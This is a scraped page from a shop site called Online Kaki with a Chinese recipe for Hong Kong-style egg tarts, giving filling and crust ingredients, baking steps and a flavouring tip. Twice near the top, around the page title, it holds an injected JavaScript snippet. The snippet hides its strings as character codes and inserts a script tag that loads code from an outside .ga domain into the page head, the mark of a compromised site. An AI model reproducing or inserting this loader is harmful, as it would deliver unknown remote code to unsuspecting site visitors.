Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); 港式蛋挞 – Online Kaki
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

材料1 (挞水)

全蛋液 – 160克
淡奶油 – 50克
细砂糖 – 50克
水 – 210克

材料2 (挞皮)

黄油 – 90克
低筋面粉 – 170克
糖粉 – 40克
蛋液 – 12克
淡奶油 – 8克
盐 – 1克

港式蛋挞的做法:

挞水做法:

  1. 全蛋搅匀
  2. 加入细砂糖,淡奶油,水
  3. 搅拌均匀
  4. 盖好冷藏1小时以上
    挞皮做法:
  5. 室温黄油加糖粉加盐
  6. 手动打蛋器打到颜色变浅
  7. 加入蛋液,用刮刀拌匀,加入淡奶油,继续拌匀,筛入低粉,切拌到无明显干粉成团状,保鲜膜包好冷藏1小时以上,面团分15份。
  8. 分别放蛋挞模中,用大拇指按压成贴合模子的薄片状,冷藏30分钟。
  9. 挞水过筛,加到冷藏好的蛋挞皮中,8-9分满。
  10. 放入预热220度的烤箱下层。烤约15分钟左右,挞皮变焦,挞水鼓起,取出放凉脱模。

小贴士: 

这个配方的挞水非常软嫩,蛋味十足,如果对蛋味有些敏感的朋友也想做这款港式蛋挞的话,建议在挞水中加几滴香草精,或者朗姆酒,去腥又提香,效果一定会更好

onlinekakimall #onlinekaki #onkaki #okaki #okmall #online #kaki #mall #ok #okm #recipes #food #tart #ome #oven #egg #eggtarts #eggtartlover #delicious #homemade #eat

Leave a Reply

Select your currency
MYR Malaysian ringgit